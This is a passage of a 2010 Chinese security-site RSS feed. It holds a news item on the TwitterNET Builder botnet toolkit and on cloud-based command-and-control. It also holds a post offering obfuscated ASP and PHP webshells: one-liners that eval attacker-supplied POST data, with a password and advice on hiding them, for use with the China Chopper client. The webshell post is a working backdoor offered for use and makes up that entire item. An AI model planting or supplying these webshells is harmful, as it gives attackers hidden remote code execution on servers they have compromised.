&lt;p&gt;反 恶意软件厂商BitDefender称，它们已经发布更新，检测从Twitter获取命令的恶意软件。赛门铁克公司发布了一个视频，展示了 TwitterNet Builder如何工作。&lt;/p&gt;
&lt;p&gt;“创作者没有 花太多的精力来保护来自逆向工程或检测和终端的僵尸，但这一缺陷并不能阻止他们危害普通计算机用户。”&lt;/p&gt;
&lt;p&gt;该工具会得到广泛使用是不太可能的，因为此方法有一个很大的缺点：一旦帐户被删除， 整个僵尸网络将被拆除。尽管如此，BitDefender认为，通过在移动电话或Twitter的客户端Tweeting个帐号，攻击者可以在几秒钟内传 播恶意软件或发布分布式拒绝服务（DDoS）。&lt;/p&gt;
&lt;p&gt;安全厂商 Sunbelt软件公司的高级威胁研究员Chris  Boyd，称新TwitterNET工具很“圆滑”，但是试图使用Twitter僵尸网络攻击方法的人很容易暴露出来。&lt;/p&gt;
&lt;p&gt;Boyd在Sunbelt的博客中写道，“如果有人控制了僵尸，但想隐瞒在 Twitter页面的命令，这是不可能的。”&lt;/p&gt;
&lt;p&gt;Boyd表 示，Twitter应该能够跟踪并阻止企图利用该服务发布命令的行为。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;僵尸转向基于云的方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;随 着云计算在企业中越来越重要，网络罪犯也渐渐转向基于Web的平台（而不是物理服务器），向大量僵尸感染的计算机发送命令。去年夏天，Arbor网络公司 的僵尸网络专家Jose Nazario说，Arbor发现越来越多的网络罪犯正试图利用云服务提供的免费存储空间和带宽。&lt;/p&gt;
&lt;p&gt;当时，Arbor跟踪被僵尸牧人利用的谷歌AppEngine应用程序，发现僵尸牧 人用它们来给僵尸电脑发布命令。该现象已迫使社交网站（如Twitter和Facebook）加强内容过滤，以检测指向托管恶意软件的服务器的可执行文件 和链接。&lt;/p&gt;
&lt;p&gt;赛门铁克也发现了类似的方法，用Facebook作为 命令和控制服务器。去年检测到在Facebook的移动版中有Whitewell  Trojan木马，它们在转发到Web服务器之前接收配置数据，下载恶意软件。&lt;/p&gt;
&lt;p&gt;【TechTarget中国原创】&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467920/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467920/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467920/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467920/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6568.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>安全研究人员发现了一个自动化工具包，能使攻击者利用微博平台 Twitter作为其僵尸网络指挥和控制平台，从而建立一个僵尸网络。
过去，攻击者已经使用Twitter向僵尸网络发布命令。Arbor网络公司的安全研究人员发现了一种僵尸网络，它利用Twitter作为指挥和控制服 务器。Twitter的安全团队已经关闭了许多具有可疑信息的账户，这些账户可能向僵尸电脑发出过命令。新的工具包，称为TwitterNET  Builder，将代码写作知识运用到指挥和控制服务中。
BitDefender在新闻发布会上说，“为了创建自己的定制僵尸，攻击者只需启动SDK，输入一个Twitter用户名，就可作为一个指挥和控制中 心，修改所产生的僵尸的名字和图标，以配合其分配方法。”
反 恶意软件厂商BitDefender称，它们已经发布更新，检测从Twitter获取命令的恶意软件。赛门铁克公司发布了一个视频，展示了 TwitterNet Builder如何工作。
“创作者没有 花太多的精力来保护来自逆向工程或检测和终端的僵尸，但这一缺陷并不能阻止他们危害普通计算机用户。”
该工具会得到广泛使用是不太可能的，因为此方法有一个很大的缺点：一旦帐户被删除， 整个僵尸网络将被拆除。尽管如此，BitDefender认为，通过在移动电话或Twitter的客户端Tweeting个帐号，攻击者可以在几秒钟内传 播恶意软件或发布分布式拒绝服务（DDoS）。
安全厂商 Sunbelt软件公司的高级威胁研究员Chris  Boyd，称新TwitterNET工具很“圆滑”，但是试图使用Twitter僵尸网络攻击方法的人很容易暴露出来。
Boyd在Sunbelt的博客中写道，“如果有人控制了僵尸，但想隐瞒在 Twitter页面的命令，这是不可能的。”
Boyd表 示，Twitter应该能够跟踪并阻止企图利用该服务发布命令的行为。
僵尸转向基于云的方法
随 着云计算在企业中越来越重要，网络罪犯也渐渐转向基于Web的平台（而不是物理服务器），向大量僵尸感染的计算机发送命令。去年夏天，Arbor网络公司 的僵尸网络专家Jose Nazario说，Arbor发现越来越多的网络罪犯正试图利用云服务提供的免费存储空间和带宽。
当时，Arbor跟踪被僵尸牧人利用的谷歌AppEngine应用程序，发现僵尸牧...&lt;img src=&quot;http://www1.feedsky.com/t1/395467920/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467920/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467920/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467920/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>Twitter</category><category>业界咨询</category><pubDate>Fri, 11 Jun 2010 11:20:08 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6568.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6568</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6568.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467920/6269921</fs:itemid></item><item><title>[Lcx]变形aspwebshell &amp; phpwebshell</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467922/6269921/1/item.html</link><content:encoded>&lt;div id=&quot;blog_text&quot;&gt;
&lt;p&gt;ps:确实有点bt的说。&lt;span id=&quot;more-6565&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;asp版的，这是utf-8编码，自己看着弄吧&lt;/p&gt;
&lt;p&gt;&amp;lt;&lt;a href=&quot;mailto:%@%20&quot;&gt;%@LANGUAGE=&amp;#8221;JAVASCRIPT&lt;/a&gt;&amp;#8221;  CODEPAGE=&amp;#8221;65001&amp;#8243;%&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
var lcx = {&amp;#8216;名字&amp;#8217; : Request.form(&amp;#8216;#&amp;#8217;), &amp;#8216;性别&amp;#8217; : eval, &amp;#8216;年龄&amp;#8217; : &amp;#8216;18&amp;#8242;, &amp;#8216;昵称&amp;#8217; :  &amp;#8216;请叫我一声老大&amp;#8217;};&lt;br /&gt;
lcx.性别((lcx.名字)+&amp;#8221;);&lt;br /&gt;
%&amp;gt;&lt;/p&gt;
&lt;p&gt;用冰狐就行了&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&amp;lt;?php&lt;br /&gt;
@preg_replace(&amp;#8220;/[email]/e&amp;#8221;,$_POST['h'],&amp;#8221;error&amp;#8221;);&lt;br /&gt;
?&amp;gt;&lt;/p&gt;
&lt;p&gt;菜刀附加数据：&lt;br /&gt;
&amp;lt;O&amp;gt;h=@eval($_POST[c]);&amp;lt;/O&amp;gt;&lt;/p&gt;
&lt;p&gt;[email]和error你看着换吧，怎么隐蔽怎么来&lt;br /&gt;
密码c&lt;/p&gt;
&lt;p&gt;用老兵的菜刀&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467922/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467922/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467922/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467922/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6565.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>ps:确实有点bt的说。
asp版的，这是utf-8编码，自己看着弄吧
&amp;#60;%@LANGUAGE=&amp;#8221;JAVASCRIPT&amp;#8221;  CODEPAGE=&amp;#8221;65001&amp;#8243;%&amp;#62;
&amp;#60;%
var lcx = {&amp;#8216;名字&amp;#8217; : Request.form(&amp;#8216;#&amp;#8217;), &amp;#8216;性别&amp;#8217; : eval, &amp;#8216;年龄&amp;#8217; : &amp;#8216;18&amp;#8242;, &amp;#8216;昵称&amp;#8217; :  &amp;#8216;请叫我一声老大&amp;#8217;};
lcx.性别((lcx.名字)+&amp;#8221;);
%&amp;#62;
用冰狐就行了

&amp;#60;?php
@preg_replace(&amp;#8220;/[email]/e&amp;#8221;,$_POST['h'],&amp;#8221;error&amp;#8221;);
?&amp;#62;
菜刀附加数据：
&amp;#60;O&amp;#62;h=@eval($_POST[c]);&amp;#60;/O&amp;#62;
[email]和error你看着换吧，怎么隐蔽怎么来
密码c
用老兵的菜刀&lt;img src=&quot;http://www1.feedsky.com/t1/395467922/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467922/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467922/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467922/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>php</category><category>Webshell</category><category>asp</category><category>资源共享</category><pubDate>Fri, 11 Jun 2010 11:15:17 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6565.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6565</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6565.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467922/6269921</fs:itemid></item></channel></rss>